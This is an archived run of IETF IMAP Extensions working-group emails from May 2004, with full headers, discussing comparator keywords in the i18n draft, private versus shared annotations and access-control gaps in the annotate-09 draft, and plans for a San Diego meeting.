sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHPhNo002389 for ; Mon, 24 May 2004 10:25:43 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4OHMe1F008704 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 May 2004 13:22:41 -0400 Date: Mon, 24 May 2004 13:20:27 -0400 From: Cyrus Daboo To: Mark Crispin , Arnt Gulbrandsen cc: IMAP Extensions WG Subject: Re: draft-i18n and search/sort Message-ID: In-Reply-To: References: X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Mark, --On Monday, May 24, 2004 10:08:56 AM -0700 Mark Crispin wrote: >> If noone can, I have to ask: Are the comparator keywords to search and >> sort worth it? > > I don't think so. There should just be a means to set the comparator in > the server, which will typically be done as part of initial negotiations. Sometimes it is handy to choose between case-sensitive and case-insensitive searching on a case-by-case basis, so having a single comparator parameter to search to override the default for that search only would be useful. Allowing a comparator for each search criterion seems excessive. If we ever get around to adding search match-types (e.g. from SIEVE - :is, :contains, :matches, :regex etc) then those would have to be added on a per-criterion basis. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OH95Ef097642; Mon, 24 May 2004 10:09:05 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OH95Lb097641; Mon, 24 May 2004 10:09:05 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OH94gu097625 for ; Mon, 24 May 2004 10:09:04 -0700 (PDT) (envelope-from mrc@CAC.Washington.EDU) Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OH8uYJ014746; Mon, 24 May 2004 10:08:56 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OH8uQD023903; Mon, 24 May 2004 10:08:56 -0700 Date: Mon, 24 May 2004 10:08:56 -0700 (PDT) From: Mark Crispin To: Arnt Gulbrandsen cc: IMAP Extensions WG Subject: Re: draft-i18n and search/sort In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 24 May 2004, Arnt Gulbrandsen wrote: > If noone can, I have to ask: Are the comparator keywords to search and sort > worth it? I don't think so. There should just be a means to set the comparator in the server, which will typically be done as part of initial negotiations. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OGoSqA092676; Mon, 24 May 2004 09:50:28 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OGoS4X092675; Mon, 24 May 2004 09:50:28 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OGoS4G092654 for ; Mon, 24 May 2004 09:50:28 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: ietf-imapext@imc.org Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4OGnhJL013708 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Mon, 24 May 2004 09:49:45 -0700 In-Reply-To: <40B1172D.1090105@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <7042920B-ADA2-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Lisa Dusseault Subject: Re: Issues on annotate-09 Date: Mon, 24 May 2004 09:50:18 -0700 To: Alexey Melnikov X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >> Too hard to manage, too flexible to present to the user, overkill. >> I'm saying this as an IMAP client implementor, but I haven't been >> one for long. Are there any other client implementors out there who >> have plans for UIs to manage all this flexibility? > > Note, I didn't say that every client should allow the user to pick > whether the client should operate on an private attribute, a shared > attribute or both. > For each entry known to the client (and in most cases the client will > only support a hardcoded set of entries) the client will have some > specific logic how to use/update the entry. > > So, giving some basic usage guidelines when registering entries would > be a good idea. It's worse than that, because a user may have different clients. So if one client makes an attribute public, and another client doesn't show whether the attribute is private or public, a user could get into trouble. However, registering properties as private or public will go a long way. Does that mean that if the property "foobar" is registered as private, that a client may not attempt to create a public value for it? That would be a reasonable safeguard -- but in any case, the framework also needs to explain what servers do when a property is registered one way and used another way, or whether that's even possible to express. If a property is registered as private, then there may not need to be a private/shared syntax for setting or getting the property. > > I frankly haven't seen a program that performs language specific > sorting. Does anybody have user experience with that? Java has a number of built-in collators for different languages, such as French (allegedly over 70 language-country combinations). So any Java-based application that sets the locale correctly, before displaying sorted lists, would do this feature. Apparently the java-based program Eclipse does this properly. I also ran across information on how to do i18n sorting with Perl and XSLT. I also tested that this is supported in Word X for Mac. Here's how: - Create a table - In one column, put the words "cabal", "cancer", "checkers", "chin", "crazy", "cuddle" (each in its own row) - Select this column - In the Table menu, choose Sort - In the Sort dialog, choose "options" - Choose Czech to sort Result: the Ch words should be at the *end* of the list, after "crazy" and "cuddle". You can resort as English and it should go back to having Ch words in the middle of the list. Lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OFfAPo072450; Mon, 24 May 2004 08:41:10 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OFfATK072449; Mon, 24 May 2004 08:41:10 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OFf5oE072370 for ; Mon, 24 May 2004 08:41:09 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Message-Id: From: Arnt Gulbrandsen To: IMAP Extensions WG Subject: draft-i18n and search/sort Content-Type: text/plain; charset=iso-8859-1; format=flowed MIME-Version: 1.0 Date: Mon, 24 May 2004 17:42:48 +0200 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i4OFf9oE072444 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi, I thought I'd add more examples to the i18n draft before publishing a new version. Writing examples for the search/sort comparator key (section 4.5) is proving a little challenging, however. Just look at this: C: a comparator en;ascii-casemap S: * comparator en;ascii-casemap (en;ascii-casemap i;octet) S: a ok C: b search from jones comparator i;basic;uca=3.1.1;uv=3.2 subject mumble comparator en;ascii-casemap body stumble S: * search 1 7 S: b ok So, the client is telling the server to use the regular case-insensitive ascii collator for the from field part of search, the übersmart unicode collator the subject part and the ascii collator again for the body part. I'd rather put in an example which looks useful, if someone can suggest one. Ideally it should also be something a real-world client would use. If noone can, I have to ask: Are the comparator keywords to search and sort worth it? Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OEfBLs055849; Mon, 24 May 2004 07:41:11 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OEfBgX055848; Mon, 24 May 2004 07:41:11 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.6.59]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OEfA7h055823 for ; Mon, 24 May 2004 07:41:10 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4OEf3af025581; Mon, 24 May 2004 10:41:03 -0400 Date: Mon, 24 May 2004 10:41:03 -0400 (EDT) From: Rob Siemborski To: Timo Sirainen cc: Alexey Melnikov , IMAP Extensions WG , Lisa Dusseault Subject: Re: Issues on annotate-09 In-Reply-To: Message-ID: References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 24 May 2004, Timo Sirainen wrote: > On 24.5.2004, at 00:27, Alexey Melnikov wrote: > >> I think there is a subtle issue here. If a mailbox was opened as read-only >> (for example the client used the SELECT command, but the user doesn't have >> ACL rights to store IMAP flags), this sentence says that the client is >> still able to set IMAP flags through ANNOTATE interface (as all IMAP flags >> are mapped to ANNOTATE entries). So effectively ANNOTATE can be used to >> circumvent access controls? I've also found the following text in section >> 1: > > It would be best if it was possible to separate store-shared-imap-flags and > store-private-imap-flags ACLs.. Didn't we discuss the application of ACLs to ANNOTATE and ANNOTATEMORE a while ago, and decide that it made the situation much more complex than we wanted? We don't want to go down the road of ACAP, for sure... Maybe it was just in a message between myself and Cyrus... -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NMPBnY067846; Sun, 23 May 2004 15:25:11 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4NMPBBF067845; Sun, 23 May 2004 15:25:11 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from danu.procontrol.fi (kone17.procontrol.vip.fi [212.149.71.178]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NMP9MM067813 for ; Sun, 23 May 2004 15:25:10 -0700 (PDT) (envelope-from tss@iki.fi) Received: by danu.procontrol.fi (Postfix, from userid 106) id E1BF41C185E2; Mon, 24 May 2004 01:25:06 +0300 (EEST) Received: from [192.168.10.217] (ip213-185-36-189.laajakaista.mtv3.fi [213.185.36.189]) by danu.procontrol.fi (Postfix) with ESMTP id A0DCB1C185E1; Mon, 24 May 2004 01:24:32 +0300 (EEST) In-Reply-To: <40B1172D.1090105@isode.com> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-11--330313275" Message-Id: Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG , Lisa Dusseault From: Timo Sirainen Subject: Re: Issues on annotate-09 Date: Mon, 24 May 2004 01:24:29 +0300 To: Alexey Melnikov X-Pgp-Agent: GPGMail 1.0.2 X-Mailer: Apple Mail (2.613) X-Spam-Status: No, hits=-7.6 required=5.0 tests=AWL,BAYES_00,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_APPLEMAIL autolearn=ham version=2.54 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.54 (1.174.2.17-2003-05-11-exp) Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --Apple-Mail-11--330313275 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On 24.5.2004, at 00:27, Alexey Melnikov wrote: > I think there is a subtle issue here. If a mailbox was opened as > read-only (for example the client used the SELECT command, but the > user doesn't have ACL rights to store IMAP flags), this sentence says > that the client is still able to set IMAP flags through ANNOTATE > interface (as all IMAP flags are mapped to ANNOTATE entries). So > effectively ANNOTATE can be used to circumvent access controls? I've > also found the following text in section 1: It would be best if it was possible to separate store-shared-imap-flags and store-private-imap-flags ACLs.. > > A user can only store and fetch shared > > annotations on messages in any mailbox that they can SELECT and > which > > opens READ-WRITE. If a client attempts to store or fetch a shared > > annotation on a READ-ONLY mailbox, the server MUST respond with a > NO > > response. Why is fetching shared annotations in READ-ONLY mailbox prohibited? I don't think it should be. --Apple-Mail-11--330313275 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFAsSSdyUhSUUBViskRAtsOAJ0e8czF2U/UMIWYlNULdOe4IlhsfwCglyI3 emdy4SrgAAbiXAqEeJCtbXo= =42j3 -----END PGP SIGNATURE----- --Apple-Mail-11--330313275-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NLo44Y061590; Sun, 23 May 2004 14:50:04 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4NLo4wo061589; Sun, 23 May 2004 14:50:04 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4NLo28C061578 for ; Sun, 23 May 2004 14:50:02 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (1Cust173.tnt9.lnd4.gbr.da.uu.net [62.188.138.173]) by rufus.isode.com via TCP (internal) with ESMTPA; Sun, 23 May 2004 22:48:46 +0100 Message-ID: <40B1172D.1090105@isode.com> Date: Sun, 23 May 2004 22:27:09 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lisa Dusseault CC: IMAP Extensions WG Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> In-Reply-To: <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lisa Dusseault wrote: > On May 21, 2004, at 10:16 AM, Alexey Melnikov wrote: > >> Lisa Dusseault wrote: >> >>> I've done a first read/review of >>> http://www.ietf.org/internet-drafts/draft-ietf-imapext-annotate >>> -09.txt, and found some issues (possibly just questions to be >>> cleared up) and a couple nits. I realize the issues/questions may >>> have come up before on the mailing list. If they have, kindly >>> point me in the direction of the thread and I will catch up and >>> re-ask the question if I still need to. >>> >>> ISSUES >> >>> 1. I notice that attributes can have *both* a private and a shared >>> value, as well as just one or the other. >> >> Yes. >> >>> How are client implementors intending to work with this? >> >> The client can choose to use only one of them or both. I suspect >> that the client will most likely just use one of them. >> >>> What's the use case and the rough idea of the UI that would allow >>> users to enter both a private and a shared value? My assumption >>> here is that some attributes will generally be private or public >>> but not both. >> >> A message may have a public comment attached to it, as well as my >> private comment. > > > This seems to be the exception case, not the rule. I would much > prefer a system where any given attribute is either shared everywhere > in the mailbox, or private everywhere in the mailbox -- or even > better, the designer of the proprietary or standard attribute decides > whether it's shared or private everywhere, not just on every mailbox > but on every server. You can still easily handle the exception case > by having a "public-comment" that is shared alongside a > "private-comment" that is not shared -- two separate attributes. > This should make it less likely for users to accidentally reveal > private information and much reduces the management cost of the system. >>> For example, I might decide that the "response-priority" attribute >>> is private on every email in a mailbox because I don't want people >>> who read the mailbox to know how high I rank the priority of >>> responding to them, but the "sender-url" attribute is always shared. >> >> I think the client writer should decide on case-by-case basis. > > Too hard to manage, too flexible to present to the user, overkill. > I'm saying this as an IMAP client implementor, but I haven't been > one for long. Are there any other client implementors out there who > have plans for UIs to manage all this flexibility? Note, I didn't say that every client should allow the user to pick whether the client should operate on an private attribute, a shared attribute or both. For each entry known to the client (and in most cases the client will only support a hardcoded set of entries) the client will have some specific logic how to use/update the entry. So, giving some basic usage guidelines when registering entries would be a good idea. > Are there use cases that support the item by item private/public > flexibility need that I've overlooked? Was there ever a description > of a requirement that lead to this? Timo showed another example. >>> 2. The example in question 1 leads me to another question about >>> whether users will really micromanage whether an attribute is >>> private on this email but shared on another email. I can't imagine >>> the UI which would expose this to the average user, or even to >>> users a couple sigmas to the extreme end of customization. In >>> other words, is this too granular and flexible to really be useful? >> >> I think we don't want to go into details about which attributes are >> private and which are shared. This would be up to a particular >> client implementation to decide. > > Doesn't this draft also define several new attributes, as well as the > general framework? Yes. > Comment and altsubject should be more fully defined. I agree, that adding some text about their usage would be beneficial. >> It would be possible to add a field to the registration template >> asking if the attribute is supposed to be private, shared or both? > > This would definitely be a good idea. > >>> 3. I don't see enough guidance to clients about when and why to use >>> altsubject. Is this supposed to allow internationalized subjects >>> or two subjects in alternate languages? Or is it intended for the >>> user to change the subject displayed while keeping the original >>> subject unchanged? How is the client to know which subject to try >>> to display first? >> >> >> IMHO, the client should always display altsubject (if one exists). >> The client should always display private altsubject, and in the >> absence of this - shared altsubject. The client MAY have a mode for >> displaying the original subject. > > > Since altsubject is being defined in this document, there needs to be > some kind of language to guide clients how to use it consistently > with each other. It seems sensible to me that clients should always > display altsubject if it exists. Once again, I am in favor of this change. >>> 4. How is the language of an attribute value specified? >> >> >> There is no generic way of doing this. Many attributes are not >> intended to be human readable. >> So if you want to define a new human readable attribute, you should >> define how a language for the attribute can be specified. > > > If this standard proposes two new human readable attributes > (altsubject and comment), then it should cover how to define > languages. Otherwise, the draft should make clear that the framework > is not quite usable for human readable attributes in any language > other than the server's default language. > > The problems with not knowing the language include: > - Can't sort reliably; Spanish sorts 'Ch' and 'C' words in separate > sections, I frankly haven't seen a program that performs language specific sorting. Does anybody have user experience with that? > but without knowing that an attribute is in spanish, the server would > sort 'ch' within the 'C' section. > - Can't display reliably; some unicode characters look different > depending on what language is used. In this case we need to define a new attribute "language" that may contain a language tag and add it to the section 2.2.2. ================ Additional comments on the document. I will continue the list started by Lisa: 8). It just occurred to me that the document doesn't register the attributes defined in the document. 9). Discussion regarding shared vs. private attributes reminded me of another issue: some mailboxes can be private-only/shared-only (i.e. some mailboxes would be unable to store any shared/private attributes). This is definitely true for existing mailserver that don't support ANNOTATE. I don't think the draft says anything about this. When I was describing a client behavior when using altsubject, I've said that the private attribute "value" was used first, if none was found the client would fall back to the shared attribute "value". What if the mailbox doesn't support private or shared attributes? 10). In section "2.3 Private versus Shared and Access Control" > A user can only store and fetch private annotations on messages in > any mailbox which they can SELECT or EXAMINE, including ones which > only open READ-ONLY. I think there is a subtle issue here. If a mailbox was opened as read-only (for example the client used the SELECT command, but the user doesn't have ACL rights to store IMAP flags), this sentence says that the client is still able to set IMAP flags through ANNOTATE interface (as all IMAP flags are mapped to ANNOTATE entries). So effectively ANNOTATE can be used to circumvent access controls? I've also found the following text in section 1: > If a server supports annotations, then it MUST store all annotation > data permanently, i.e. there is no concept of 'session only' > annotations that would correspond to the behaviour of 'session' flags > as defined in the IMAP base specification. The exception to this is > IMAP flags (which are accessible directly through annotations) which > may be 'session only' as determined by the FLAGS and PERMANENTFLAGS > responses to a SELECT or EXAMINE command. Does the text in Section 1 tries to prohibit what I've just described? I think the issue should be clarified. This should probably be mentioned in the Security Considerations section. > A user can only store and fetch shared > annotations on messages in any mailbox that they can SELECT and which > opens READ-WRITE. If a client attempts to store or fetch a shared > annotation on a READ-ONLY mailbox, the server MUST respond with a NO > response. Should a reader assume that fetching an attribute with no suffix on a read-only mailbox is not an error? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLnHKl071911; Fri, 21 May 2004 14:49:17 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LLnHFT071910; Fri, 21 May 2004 14:49:17 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from danu.procontrol.fi (kone17.procontrol.vip.fi [212.149.71.178]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLnGCj071869 for ; Fri, 21 May 2004 14:49:16 -0700 (PDT) (envelope-from tss@iki.fi) Received: by danu.procontrol.fi (Postfix, from userid 106) id A132B1C1D0E1; Sat, 22 May 2004 00:49:11 +0300 (EEST) Received: from [192.168.10.217] (ip213-185-36-189.laajakaista.mtv3.fi [213.185.36.189]) by danu.procontrol.fi (Postfix) with ESMTP id 75A651C1D0E2; Sat, 22 May 2004 00:48:37 +0300 (EEST) In-Reply-To: <2147483647.1085152482@[192.168.0.103]> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <2147483647.1085152482@[192.168.0.103]> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-3--505267667" Message-Id: <9B988090-AB70-11D8-8870-000393CC2E90@iki.fi> Content-Transfer-Encoding: 7bit Cc: IMAP Extensions WG From: Timo Sirainen Subject: Re: Issues on annotate-09 (private and shared) Date: Sat, 22 May 2004 00:48:34 +0300 To: Lyndon Nerenberg X-Pgp-Agent: GPGMail 1.0.2 X-Mailer: Apple Mail (2.613) X-Spam-Status: No, hits=-7.7 required=5.0 tests=AWL,BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_APPLEMAIL autolearn=ham version=2.54 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.54 (1.174.2.17-2003-05-11-exp) Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --Apple-Mail-3--505267667 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On 22.5.2004, at 00:14, Lyndon Nerenberg wrote: > --On 2004-5-21 12:08 PM -0700 Lisa Dusseault > wrote: > >> You can still easily handle the exception case by having a >> "public-comment" that is shared alongside a "private-comment" that is >> not shared -- two separate attributes. This should make it less >> likely for users to accidentally reveal private information and much >> reduces the management cost of the system. > > I am in violent agreement here. The current scheme makes it much to > easy for an end-user to inadvertently leak information they intended > to be private. I cannot visualize how a UI could express these > semantics in a way that is so obvious and unambiguous that a typical > end-user (or even an advanced user) would not unintentionally mess > this up at least some of the time. Comment: [...................] [x] private (default) When displaying, show private version if it exists, otherwise shared. Maybe also have shared/private view toggling. I'm not too much against requiring that some annotations be explicitly either shared or private, but I think it should be allowed to specify annotations which may be either. For example with flags annotation I think it would be useful if clients were able to set shared \Seen and \Replied flags so others could see that at least someone else has already read or replied to it, but still also set them privately to see what user's own actions with it have been. --Apple-Mail-3--505267667 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (Darwin) iD8DBQFArnkzyUhSUUBViskRAlpRAJwNfVUAYBjoFi8V2t6nCXOXOMueSwCfYrON +QdPjyV0o2DiB4izXKirH0k= =Dva3 -----END PGP SIGNATURE----- --Apple-Mail-3--505267667-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLLCkA066691; Fri, 21 May 2004 14:21:12 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LLLCgv066690; Fri, 21 May 2004 14:21:12 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kahuna.osafoundation.org (kahuna.osafoundation.org [204.152.186.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLLCak066667 for ; Fri, 21 May 2004 14:21:12 -0700 (PDT) (envelope-from lisa@osafoundation.org) X-Envelope-From: lisa@osafoundation.org X-Envelope-To: Received: from [192.168.101.178] (w002.z065106067.sjc-ca.dsl.cnc.net [65.106.67.2]) (authenticated bits=0) by kahuna.osafoundation.org (8.12.8/8.12.8) with ESMTP id i4LLKUJL025804 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 21 May 2004 14:20:32 -0700 Mime-Version: 1.0 (Apple Message framework v613) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: IMAP Extensions WG From: Lisa Dusseault Subject: Meeting in San Diego Date: Fri, 21 May 2004 14:21:06 -0700 X-Mailer: Apple Mail (2.613) X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm assuming IMAPEXT should meet in San Diego. Please reserve the week of Aug 2 to 6, and let me know what conflicts to avoid, etc. At that meeting, Pete and I would like to discuss any last call issues that have come up, for most if not all of our charter-required documents. That means that the documents actually need to go into, if not complete, WG last call. The converse is that if very little document progress and review has been done, with the result of few new issues to discuss, we should probably *not* meet. Anyway, I've noted that the authors have asked for annotate and LISTEXT to go to WG last call, so my best guess is we'll be in a good position by mid-summer and have worthwhile progress to discuss. BTW, I intend to review LISTEXT next, and follow the WG discussion to see if a new draft of 'annotate' is desirable before actually doing WG last call. Your input is welcome. lisa Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLEgiD065395; Fri, 21 May 2004 14:14:42 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4LLEg73065393; Fri, 21 May 2004 14:14:42 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from orthanc.ca (orthanc.ca [209.89.70.53]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4LLEf98065379 for ; Fri, 21 May 2004 14:14:41 -0700 (PDT) (envelope-from lyndon@orthanc.ca) Received: from [192.168.0.103] (S01060080c828258f.cg.shawcable.net [68.145.156.35]) (authenticated bits=0) by orthanc.ca (8.12.10/8.12.10) with ESMTP id i4LLEfr2002781 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 21 May 2004 15:14:43 -0600 (MDT) (envelope-from lyndon@orthanc.ca) Date: Fri, 21 May 2004 15:14:42 -0600 From: Lyndon Nerenberg To: IMAP Extensions WG Subject: Re: Issues on annotate-09 (private and shared) Message-ID: <2147483647.1085152482@[192.168.0.103]> In-Reply-To: 